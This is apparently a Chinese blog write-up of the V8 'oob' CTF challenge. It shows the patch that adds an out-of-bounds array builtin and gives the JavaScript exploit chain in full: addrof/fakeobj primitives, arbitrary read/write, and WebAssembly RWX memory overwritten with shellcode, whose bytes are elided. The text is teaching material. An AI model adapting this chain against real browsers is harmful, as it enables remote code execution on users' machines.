Chrome v8 exploit - OOB
字数 977 2025-08-05 08:19:19
Chrome V8 越界读写漏洞分析与利用
漏洞概述
本文分析的是一个Chrome V8引擎中的越界读写漏洞,该漏洞源于V8对数组边界检查不严格,允许通过特殊构造的数组操作越界访问内存。漏洞利用涉及类型混淆、地址泄漏、任意内存读写以及最终通过WebAssembly实现代码执行。
漏洞分析
补丁对比
漏洞源于对V8源码的修改,主要添加了一个名为oob的数组方法:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
新增的oob方法实现:
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
漏洞行为
oob方法提供了两种操作模式:
a.oob()- 越界读取数组长度处的值a.oob(1)- 将值1写入数组长度处的位置
由于直接使用了数组长度作为索引而没有进行边界检查,这导致了越界读写漏洞。
漏洞利用
基本原语构建
首先建立浮点数和整数之间的转换函数:
var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);
function ftoi(floo) {
fl[0] = floo;
return ui[0];
}
function itof(intt) {
ui[0] = intt;
return fl[0];
}
function tos(data) {
return "0x"+data.toString(16);
}
内存布局分析
创建不同类型的数组观察内存布局:
var a = [1.1, 2.2, 3.3, 4.4];
通过调试器查看内存布局,可以发现:
JSArray结构包含指向FixedArray的指针FixedArray存储实际的数组元素- 浮点数组和对象数组的内存布局相邻
类型混淆利用
通过泄漏不同类型数组的map值,实现类型混淆:
var obj = {"A":0x100};
var obj_all = [obj];
var array_all = [1.1, 2, 3];
// 泄漏对象数组和浮点数组的map
var obj_map = obj_all.oob(); // obj_JSArray_map
var float_array_map = array_all.oob(); // float_JSArray_map
构建泄漏和伪造对象的函数:
function leak_obj(obj_in) {
// 泄漏对象地址
obj_all[0] = obj_in;
obj_all.oob(float_array_map);
let leak_obj_addr = obj_all[0];
obj_all.oob(obj_map);
return ftoi(leak_obj_addr);
}
function fake_obj(obj_in) {
// 构造地址对象
array_all[0] = itof(obj_in);
array_all.oob(obj_map);
let fake_obj_addr = array_all[0];
array_all.oob(float_array_map);
return fake_obj_addr;
}
任意读写原语构建
通过构造特殊的数组对象实现任意读写:
var tt = [float_array_map, 1.1, 1, 0xfffffff];
function write_all(read_addr, read_data) {
let test_read = fake_obj(leak_obj(tt)-0x20n);
tt[2] = itof(read_addr-0x10n);
test_read[0] = itof(read_data);
}
function read_all(write_addr) {
let test_write = fake_obj(leak_obj(tt)-0x20n);
tt[2] = itof(write_addr-0x10n);
return ftoi(test_write[0]);
}
更稳定的任意写方法
使用ArrayBuffer的backing_store实现更稳定的任意写:
function write_dataview(fake_addr, fake_data) {
let buff_new = new ArrayBuffer(0x30);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write, fake_addr);
dataview.setBigUint64(0, fake_data, true);
}
WebAssembly利用
通过WebAssembly实现代码执行:
- 生成简单的WebAssembly模块
- 泄漏其可执行内存区域地址
- 向该区域写入shellcode
var wasmCode = new Uint8Array([...]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
// 泄漏wasm实例的可执行内存地址
var leak_f = leak_obj(f);
var data1 = read_all(leak_f+0x18n);
var data2 = read_all(data1+0x8n);
var data3 = read_all(data2+0x10n);
var data4 = read_all(data3+0x88n);
// 写入shellcode
let buff_new = new ArrayBuffer(0x100);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write, data4);
var shellcode = [...];
for(var i=0; i<shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
f(); // 执行shellcode
完整利用流程
- 建立基本类型转换函数
- 创建对象数组和浮点数组
- 泄漏两种数组的map值
- 构建泄漏和伪造对象的函数
- 构造任意读写原语
- 使用更稳定的ArrayBuffer方法实现任意写
- 准备WebAssembly模块
- 泄漏wasm可执行内存地址
- 向该地址写入shellcode
- 触发执行
防御措施
- 严格的数组边界检查
- 类型系统强化,防止类型混淆
- 内存区域隔离,如WASM内存与常规内存分离
- 控制对内部对象的访问权限
总结
该漏洞利用展示了现代JavaScript引擎中类型系统和内存管理的复杂性。通过精心构造的类型混淆和内存操作,攻击者可以实现从简单的越界读写到完整的远程代码执行。理解这些技术有助于开发更安全的JavaScript引擎和编写更安全的代码。